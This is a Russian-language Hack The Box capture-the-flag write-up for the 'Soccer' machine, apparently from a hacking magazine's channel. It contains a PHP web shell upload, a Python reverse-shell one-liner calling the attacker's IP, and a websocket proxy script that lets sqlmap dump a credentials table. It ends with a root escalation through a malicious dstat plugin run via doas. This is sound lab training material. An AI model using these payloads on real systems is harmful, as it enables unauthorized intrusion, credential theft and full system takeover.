Хакер - HTB Soccer. Повышаем привилегии в Linux через свой плагин для doas
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- SQL injection
- Локальное повышение привилегий
В этом райтапе я покажу, как написать вредоносный плагин для doas — замены sudo, которая считается более безопасной. Но прежде, чем будем захватывать систему, мы проникнем в нее благодаря RCE в Tiny File Manager, а затем напишем свой плагин для sqlmap, чтобы повысить привилегии.
Полигоном для всех этих упражнений нам послужит тренировочная машина Soccer с площадки Hack The Box. Уровень ее сложности отмечен как легкий.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.194 soccer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер обнаружил три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 9091 — неизвестный веб‑сервер.
Порт 9091 пока загадочен для нас, SSH, как всегда, оставляем до момента, когда мы завладеем учетной записью, поэтому остается только изучать сайт, расположенный на порте 80.
Нас встречает сайт‑визитка. Поскольку никаких интересных функций у него нет, перейдем к активному сканированию и попытаемся выявить скрытые файлы и каталоги.
ТОЧКА ВХОДА
Первым делом сканируем скрытые каталоги на веб‑сервере с помощью feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u
— URL;-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-d
— глубина сканирования.
feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.txt -t 256
На странице /tiny
нас встречает страница авторизации Tiny File Manager.
На вики‑странице Security and User Management находим учетные данные, выставляемые по умолчанию:
admin : admin@123
user : 12345
Повезло! Авторизуемся с учетной записью admin
и получаем доступ к файловому менеджеру.
Мы раздобыли какие‑то файлы, но нам нужны не они, а доступ к системе. Попробуем поискать готовые эксплоиты для Tiny File Manager, благо версия указана — 2.4.3.
Первая же ссылка в Google сообщает нам о том, что есть RCE через загрузку файла.
ТОЧКА ОПОРЫ
Сканирование каталогов показало, что существует каталог uploads
. Загрузим туда самый простой веб‑шелл.
<?php system($_GET['cmd'])?>
Файл загружен, поэтому можем проверить его работу, выполнив команду id
.
curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'
Теперь запустим реверс‑шелл на Python 3.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, запустившего шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
Его подключение будем ловить на листенер:
pwncat-cs -lp 4321
ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию. Для этого воспользуемся PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
Из файла /etc/hosts
узнаем о еще одном поддомене — soc-player.soccer.htb
.
Среди открытых портов отмечаем порт 3306, на котором работает служба mysql.
Флаг находится у пользователя player
, поэтому продвигаться нам нужно к нему.
Среди «неродных» файлов системы присутствует doas
.
Добавляем новый найденный поддомен в файл /etc/hosts
своего хоста и смотрим новый сайт.
10.10.11.194 soccer.htb soc-player.soccer.htb
После регистрации и авторизации нам открывается функция бронирования билета на матч.
Отмечаем уже присвоенный ID билета (над полем ввода). После ввода этого ID получаем ответ, что билет существует. В Burp History запроса не находим, но зато появляются сообщения в истории веб‑сокетов, где мы и обнаруживаем наш запрос и ответ.
Так как на хосте работает СУБД, проверяем несколькими нагрузками для SQL-инъекций параметр id
, и одна из нагрузок дает результат.
{
"id":"-1 or 1=1 -- -"
}
SQL injection
Чтобы автоматизировать и ускорить эксфильтрацию данных из базы, можно использовать sqlmap. Для этого нужно будет написать прокси‑сервер, который будет принимать запросы HTTP и отправлять их на удаленный сервер через веб‑сокет. Откроем исходный код сайта и найдем URL, куда поступают запросы через веб‑сокеты.
Теперь реализуем наш прокси‑сервер.
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('"',''')
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Теперь запускаем sqlmap, указав адрес прокси‑сервера:
http://localhost:8081/?id=
И выбираем рабочую технику Boolean Based.
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3
Sqlmap определил рабочую нагрузку, теперь мы можем получить список баз данных (параметр --dbs
).
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 --dbs
Нам интересна база данных soccer_db
, узнаем, какие таблицы она содержит (параметр --tables
).
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 -D soccer_db --tables
В базе всего одна таблица с говорящим названием accounts
, получим из нее все данные (параметр --dump
).
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5 --risk 3 -D soccer_db -T accounts --dump
Полученный пароль можно использовать для авторизации по SSH.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Ранее мы нашли doas, взглянем на его настройки:
cat /usr/local/etc/doas.conf
Эта строчка значит, что пользователь player
без ввода пароля может от имени пользователя root
запустить команду /usr/bin/dstat
. Про dstat подробно почитать можно в документации. Там же находим и информацию о плагинах dstat, которые стартуют при запуске самого dstat.
Плагин должен представлять собой скрипт на Python dstat_*.py
, расположенный в одном из следующих каталогов.
Поочередно проверяем эти каталоги и находим, что у группы player
, где мы и состоим, есть право записи в один из них:
/usr/local/share/dstat
В найденном каталоге создадим плагин dstat_ralf.py
, который просто запустит командную оболочку /bin/bash
.
import os
os.system('/bin/bash')
Теперь просмотрим список плагинов и найдем свой.
dstat --list
А теперь запускаем свой плагин от имени пользователя root
, что дает нам привилегированную командную оболочку.
doas -u root /usr/bin/dstat --ralf
Мы получили флаг рута, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei